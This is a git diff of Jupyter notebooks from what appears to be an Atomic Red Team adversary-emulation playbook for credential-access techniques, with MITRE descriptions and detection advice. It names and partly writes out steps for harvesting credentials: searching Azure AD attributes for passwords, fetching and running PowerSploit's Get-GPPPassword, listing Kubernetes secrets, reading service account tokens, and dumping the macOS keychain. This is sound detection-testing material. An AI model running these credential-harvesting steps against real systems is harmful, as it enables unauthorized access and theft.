Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n" }, { "cell_type": "markdown", - "id": "720cca57", + "id": "59350540", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "5a9e80b3", + "id": "05978ed0", "metadata": {}, "source": "### Atomic Test #1 - Azure - Search Azure AD User Attributes for Passwords\nThis test uses the MSOnline Powershell module to retrieve all user attributes for a specified account, which can sometimes contain unsecured credentials. \nUpon successful execution, this test will scan all user attributes for any strings containing \"password\".\nThose unsecured credentials will be output to a text file, as well as the account that they are associated with and the user attribute in which they were found. \nSee: https://github.com/dafthack/CloudPentestCheatsheets/blob/master/cheatsheets/Azure.md\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: The MSOnline module must be installed.\n\n##### Check Prereq Commands:\n```powershell\nif (get-command Get-MsolUser -erroraction silentlycontinue){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninstall-module MSOnline\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9ec862c5", + "id": "770f93c7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.005 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4df6691c", + "id": "b269fe3f", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a29f5df8", + "id": "f5f0186e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "57f0748b", + "id": "d2ba647c", "metadata": {}, "source": "#### Cleanup: \n```powershell\nremove-item $env:temp\\T1552.005Test1.txt -force -erroraction silentlycontinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3bedf7a2", + "id": "c3f76cfa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.005 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "70b70a3b", + "id": "e1627b5b", "metadata": {}, "source": [ "### Atomic Test #2 - Azure - Dump Azure Instance Metadata from Virtual Machines", @@ -72,28 +72,28 @@ { "cell_type": "code", "execution_count": null, - "id": "c4bfef64", + "id": "6ceeb04a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.005 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "d14ec091", + "id": "947da01c", "metadata": {}, "source": "#### Cleanup: \n```powershell\nremove-item $env:temp\\T1552.005Test2.txt -force -erroraction silentlycontinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8e0ad0ab", + "id": "385b48d8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.005 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "58a12d6e", + "id": "c41d9f67", "metadata": {}, "source": "## Detection\nMonitor access to the Instance Metadata API and look for anomalous queries.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078)." } @@ -101,13 +101,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1552.006.ipynb b/playbook/tactics/credential-access/T1552.006.ipynb index f3ebe52f..feed2402 100644 --- a/playbook/tactics/credential-access/T1552.006.ipynb +++ b/playbook/tactics/credential-access/T1552.006.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "37e3f547", + "id": "c6732709", "metadata": {}, "source": "# T1552.006 - Group Policy Preferences\nAdversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module: post/windows/gather/credentials/gpp\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml\n" }, { "cell_type": "markdown", - "id": "a958dd18", + "id": "3dae13a3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "d8115b8e", + "id": "1c11aa7a", "metadata": {}, "source": "### Atomic Test #1 - GPP Passwords (findstr)\nLook for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt on Kali Linux.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must be domain joined\n\n##### Check Prereq Commands:\n```cmd\nif((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host Joining this computer to a domain must be done manually\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3080454b", + "id": "dbc10545", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.006 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5fad2f35", + "id": "34cce1e8", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,45 +38,45 @@ { "cell_type": "code", "execution_count": null, - "id": "bf05ad74", + "id": "30ffd2d7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c9dc181c", + "id": "abb5766a", "metadata": {}, - "source": "### Atomic Test #2 - GPP Passwords (Get-GPPPassword)\nLook for the encrypted cpassword value within Group Policy Preference files on the Domain Controller.\nThis test is intended to be run from a domain joined workstation, not on the Domain Controller itself.\nThe Get-GPPPasswords.ps1 executed during this test can be obtained using the get-prereq_commands.\n\nSuccessful test execution will either display the credentials found in the GPP files or indicate \"No preference files found\".\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Get-GPPPassword PowerShell Script must exist at #{gpp_script_path}\n\n##### Check Prereq Commands:\n```powershell\nif(Test-Path \"PathToAtomicsFolder\\T1552.006\\src\\Get-GPPPassword.ps1\") {exit 0 } else {exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\T1552.006\\src\\Get-GPPPassword.ps1\") -Force | Out-Null\nInvoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/87630cac639f29c2adcb163f661f02890adf4bdd/Exfiltration/Get-GPPPassword.ps1 -OutFile \"PathToAtomicsFolder\\T1552.006\\src\\Get-GPPPassword.ps1\"\n\n```\n##### Description: Computer must be domain joined\n\n##### Check Prereq Commands:\n```powershell\nif((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host Joining this computer to a domain must be done manually\n\n```" + "source": "### Atomic Test #2 - GPP Passwords (Get-GPPPassword)\nLook for the encrypted cpassword value within Group Policy Preference files on the Domain Controller.\nThis test is intended to be run from a domain joined workstation, not on the Domain Controller itself.\nThe Get-GPPPasswords.ps1 executed during this test can be obtained using the get-prereq_commands.\n\nSuccessful test execution will either display the credentials found in the GPP files or indicate \"No preference files found\".\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Get-GPPPassword PowerShell Script must exist at #{gpp_script_path}\n\n##### Check Prereq Commands:\n```powershell\nif(Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Get-GPPPassword.ps1\") {exit 0 } else {exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Get-GPPPassword.ps1\") -Force | Out-Null\nInvoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/87630cac639f29c2adcb163f661f02890adf4bdd/Exfiltration/Get-GPPPassword.ps1 -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\Get-GPPPassword.ps1\"\n\n```\n##### Description: Computer must be domain joined\n\n##### Check Prereq Commands:\n```powershell\nif((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host Joining this computer to a domain must be done manually\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b30bc7b5", + "id": "c6d812f6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.006 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2aa326ec", + "id": "32ae3399", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n. PathToAtomicsFolder\\T1552.006\\src\\Get-GPPPassword.ps1\nGet-GPPPassword -Verbose\n```" + "```powershell\n. \"PathToAtomicsFolder\\..\\ExternalPayloads\\Get-GPPPassword.ps1\"\nGet-GPPPassword -Verbose\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "70701d03", + "id": "5657b2da", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.006 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "73dbea6c", + "id": "3c1fc862", "metadata": {}, "source": "## Detection\nMonitor for attempts to access SYSVOL that involve searching for XML files. \n\nDeploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)" } @@ -84,13 +84,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1552.007.ipynb b/playbook/tactics/credential-access/T1552.007.ipynb index 97b30ed7..742f7201 100644 --- a/playbook/tactics/credential-access/T1552.007.ipynb +++ b/playbook/tactics/credential-access/T1552.007.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "e0e5ab48", + "id": "73cbfe51", "metadata": {}, "source": "# T1552.007 - Container API\nAdversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. " }, { "cell_type": "markdown", - "id": "dcbbbcc1", + "id": "14e618e1", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "3d410509", + "id": "742f2b03", "metadata": {}, "source": "### Atomic Test #1 - List All Secrets\nA Kubernetes secret is an object that lets users store and manage sensitive information, such as passwords and connection strings in the cluster. Secrets can be consumed by reference in the pod configuration. Attackers who have permissions to retrieve the secrets from the API server (by using the pod service account, for example) can access sensitive information that might include credentials to various services or provide further access to the cluster.\n[More information about secrets](https://kubernetes.io/docs/concepts/configuration/secret/).\n\nThis test will make a request to the Kubernetes api at the `/api/v1/secrets` endpoint requesting every secret stored within the cluster.\n\n**Supported Platforms:** containers\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: kubectl must be installed\n\n##### Check Prereq Commands:\n```bash\nwhich kubectl\n\n```\n##### Get Prereq Commands:\n```bash\necho \"kubectl not installed, please install kubectl (https://kubernetes.io/docs/tasks/tools/)\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "254b1c28", + "id": "64960947", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.007 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d69c925d", + "id": "5fc0c174", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "6fbff37b", + "id": "22ba3664", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.007 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "8dbb4d7c", + "id": "6e631516", "metadata": {}, "source": "### Atomic Test #2 - ListSecrets\nA Kubernetes secret is an object that lets users store and manage sensitive information, such as passwords and connection strings in the cluster. Secrets can be consumed by reference in the pod configuration. Attackers who have permissions to retrieve the secrets from the API server (by using the pod service account, for example) can access sensitive information that might include credentials to various services.\n\n**Supported Platforms:** containers\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: kubectl must be installed\n\n##### Check Prereq Commands:\n```bash\nwhich kubectl\n\n```\n##### Get Prereq Commands:\n```bash\necho \"kubectl must be installed manually\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "89f164bc", + "id": "32bb0782", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.007 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d8327801", + "id": "cc953a9c", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -69,28 +69,28 @@ { "cell_type": "code", "execution_count": null, - "id": "39f906cf", + "id": "6bd4a76c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.007 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "9da77823", + "id": "de285b6e", "metadata": {}, "source": "### Atomic Test #3 - Cat the contents of a Kubernetes service account token file\nAccess the Kubernetes service account access token stored within a container in a cluster.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Verify docker is installed.\n##### Check Prereq Commands:\n```sh\nwhich docker\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"\" == \"`which docker`\" ]; then echo \"Docker Not Found\"; if [ -n \"`which apt-get`\" ]; then sudo apt-get -y install docker ; elif [ -n \"`which yum`\" ]; then sudo yum -y install docker ; fi ; else echo \"Docker installed\"; fi\n\n```\n##### Description: Verify docker service is running.\n##### Check Prereq Commands:\n```sh\nsudo systemctl status docker\n\n```\n##### Get Prereq Commands:\n```sh\nsudo systemctl start docker\n\n```\n##### Description: Verify kind is in the path.\n##### Check Prereq Commands:\n```sh\nwhich kind\n\n```\n##### Get Prereq Commands:\n```sh\ncurl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64\nchmod +x ./kind\nmv kind /usr/bin/kind\n\n```\n##### Description: Verify kind-atomic-cluster is created\n##### Check Prereq Commands:\n```sh\nsudo kind get clusters\n\n```\n##### Get Prereq Commands:\n```sh\nsudo kind create cluster --name atomic-cluster\n\n```\n##### Description: Verify kubectl is in path\n##### Check Prereq Commands:\n```sh\nwhich kubectl\n\n```\n##### Get Prereq Commands:\n```sh\ncurl -LO \"https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl\"\nchmod +x ./kubectl\nmv kubectl /usr/bin/kubectl\n\n```\n##### Description: Verify atomic-pod is running.\n##### Check Prereq Commands:\n```sh\nkubectl --context kind-atomic-cluster get pods |grep atomic-pod\n\n```\n##### Get Prereq Commands:\n```sh\nkubectl --context kind-atomic-cluster run atomic-pod --image=alpine --command -- sleep infinity\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f8b10d71", + "id": "8da087fc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.007 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "479748d6", + "id": "33cc00c5", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -100,28 +100,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f3ca8c69", + "id": "1bd0b313", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.007 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "a443cac9", + "id": "24627278", "metadata": {}, "source": "#### Cleanup: \n```sh\nkubectl --context kind-atomic-cluster delete pod atomic-pod\n```" }, { "cell_type": "code", "execution_count": null, - "id": "359526d6", + "id": "f491efcf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552.007 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "cb5d1ab8", + "id": "2685436e", "metadata": {}, "source": "## Detection\nEstablish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078)." } @@ -129,13 +129,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1552.008.ipynb b/playbook/tactics/credential-access/T1552.008.ipynb new file mode 100644 index 00000000..3c66a7a8 --- /dev/null +++ b/playbook/tactics/credential-access/T1552.008.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "8508d5ae", + "metadata": {}, + "source": "# T1552.008 - Chat Messages\nAdversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.\n\nRather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks)." + }, + { + "cell_type": "markdown", + "id": "27123f2f", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/credential-access/T1552.ipynb b/playbook/tactics/credential-access/T1552.ipynb index a927f624..ebf85206 100644 --- a/playbook/tactics/credential-access/T1552.ipynb +++ b/playbook/tactics/credential-access/T1552.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "8d8683cb", + "id": "4c265179", "metadata": {}, "source": "# T1552 - Unsecured Credentials\nAdversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004))." }, { "cell_type": "markdown", - "id": "b9cb6a7a", + "id": "dcfbccbf", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "bfac28f8", + "id": "f2e0f68e", "metadata": {}, - "source": "### Atomic Test #1 - AWS - Retrieve EC2 Password Data using stratus\nThis atomic runs an API call GetPasswordData from a role that does not have permission to do so. This simulates an attacker attempting to retrieve RDP passwords on a high number of Windows EC2 instances. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.credential-access.ec2-get-password-data/\n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Stratus binary must be present at the (#{stratus_path}/stratus)\n\n##### Check Prereq Commands:\n```sh\nif [ -f $PathToAtomicsFolder/T1552/src/stratus ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget -q -O $PathToAtomicsFolder/T1552/src/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf $PathToAtomicsFolder/T1552/src/stratus-red-team-latest.tar.gz --directory $PathToAtomicsFolder/T1552/src/\nelif [ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep linux_x86_64 | cut -d '\"' -f 4) \n wget -q -O $PathToAtomicsFolder/T1552/src/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf $PathToAtomicsFolder/T1552/src/stratus-red-team-latest.tar.gz --directory $PathToAtomicsFolder/T1552/src/\nfi\n\n```\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS defult profile using: aws configure\n\n```" + "source": "### Atomic Test #1 - AWS - Retrieve EC2 Password Data using stratus\nThis atomic runs an API call GetPasswordData from a role that does not have permission to do so. This simulates an attacker attempting to retrieve RDP passwords on a high number of Windows EC2 instances. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.credential-access.ec2-get-password-data/\n\n**Supported Platforms:** linux, macos, iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Stratus binary must be present at the (#{stratus_path}/stratus)\n\n##### Check Prereq Commands:\n```sh\nif [ -f $PathToAtomicsFolder/T1552/src/stratus ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget -q -O $PathToAtomicsFolder/T1552/src/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf $PathToAtomicsFolder/T1552/src/stratus-red-team-latest.tar.gz --directory $PathToAtomicsFolder/T1552/src/\nelif [ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Linux_x86_64 | cut -d '\"' -f 4) \n wget -q -O $PathToAtomicsFolder/T1552/src/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf $PathToAtomicsFolder/T1552/src/stratus-red-team-latest.tar.gz --directory $PathToAtomicsFolder/T1552/src/\nfi\n\n```\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS defult profile using: aws configure\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "48a17b23", + "id": "da7c3e56", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9e8b4c78", + "id": "8b8dcff6", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -38,34 +38,34 @@ { "cell_type": "code", "execution_count": null, - "id": "fa0a37a2", + "id": "a7584809", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "4840236c", + "id": "9da3b3ec", "metadata": {}, - "source": "#### Cleanup: \n```sh\nexport AWS_REGION=us-west-2\n\necho \"Cleanup detonation\"\ncd $PathToAtomicsFolder/T1552/src\n./stratus cleanup --all\nrm -rf stratus*\n```" + "source": "#### Cleanup: \n```sh\nexport AWS_REGION=us-west-2\necho \"Cleanup detonation\"\ncd $PathToAtomicsFolder/T1552/src\n./stratus cleanup --all\nrm -rf stratus*\n```" }, { "cell_type": "code", "execution_count": null, - "id": "96cfb02b", + "id": "0303cb7f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1552 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "4a4afd76", + "id": "0ca1c24b", "metadata": {}, "source": "## Detection\nWhile detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n\nMonitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior.\n\nMonitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.\n\nAdditionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives." }, { "cell_type": "markdown", - "id": "4475a5ba", + "id": "7bd419a4", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Credentials \n Create user credentials that are used for active defense purposes. \n\n Seed a target system with credentials (such as username/password, browser tokens, and other forms of authentication data) for the purpose of engagement. Decoy credentials can be planted in many locations and leveraged in a variety of ways.\n#### Opportunity\nIn order to prolong an adversary engagement operation or enable detections, there is an opportunity to introduce credentials to an adversary that you want them to collect and use.\n#### Use Case\nA defender can plant decoy credentials across an array of locations to increase the chances of an adversary finding and using them.\n#### Procedures\nCreate user credentials for a decoy account, such as 'User ABC'. Store those credentials in the browser and other places on the system to see if an adversary attempts to harvest them.\n" } @@ -73,13 +73,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1555.001.ipynb b/playbook/tactics/credential-access/T1555.001.ipynb index 0a81f2ef..86ea7419 100644 --- a/playbook/tactics/credential-access/T1555.001.ipynb +++ b/playbook/tactics/credential-access/T1555.001.ipynb @@ -2,39 +2,96 @@ "cells": [ { "cell_type": "markdown", - "id": "16d857db", + "id": "9fba85cb", "metadata": {}, "source": "# T1555.001 - Keychain\nAdversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain \u2013d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) " }, { "cell_type": "markdown", - "id": "b74b549f", + "id": "ad897c88", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "c70fabe5", + "id": "3fa5d8c1", "metadata": {}, "source": [ - "### Atomic Test #1 - Keychain", - "### Keychain Files\n\n ~/Library/Keychains/\n\n /Library/Keychains/\n\n /Network/Library/Keychains/\n\n [Security Reference](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/security.1.html)\n\n [Keychain dumper](https://github.com/juuso/keychaindump)\n", + "### Atomic Test #1 - Keychain Dump", + "This command will dump keychain credential information from login.keychain. \nSource: https://www.loobins.io/binaries/security/\n\n### Keychain File path\n ~/Library/Keychains/\n /Library/Keychains/\n /Network/Library/Keychains/\n [Security Reference](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/security.1.html)\n ", "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `sh`\n", - "```sh\nsecurity -h\nsecurity find-certificate -a -p > /tmp/certs.pem\nsecurity import /tmp/certs.pem 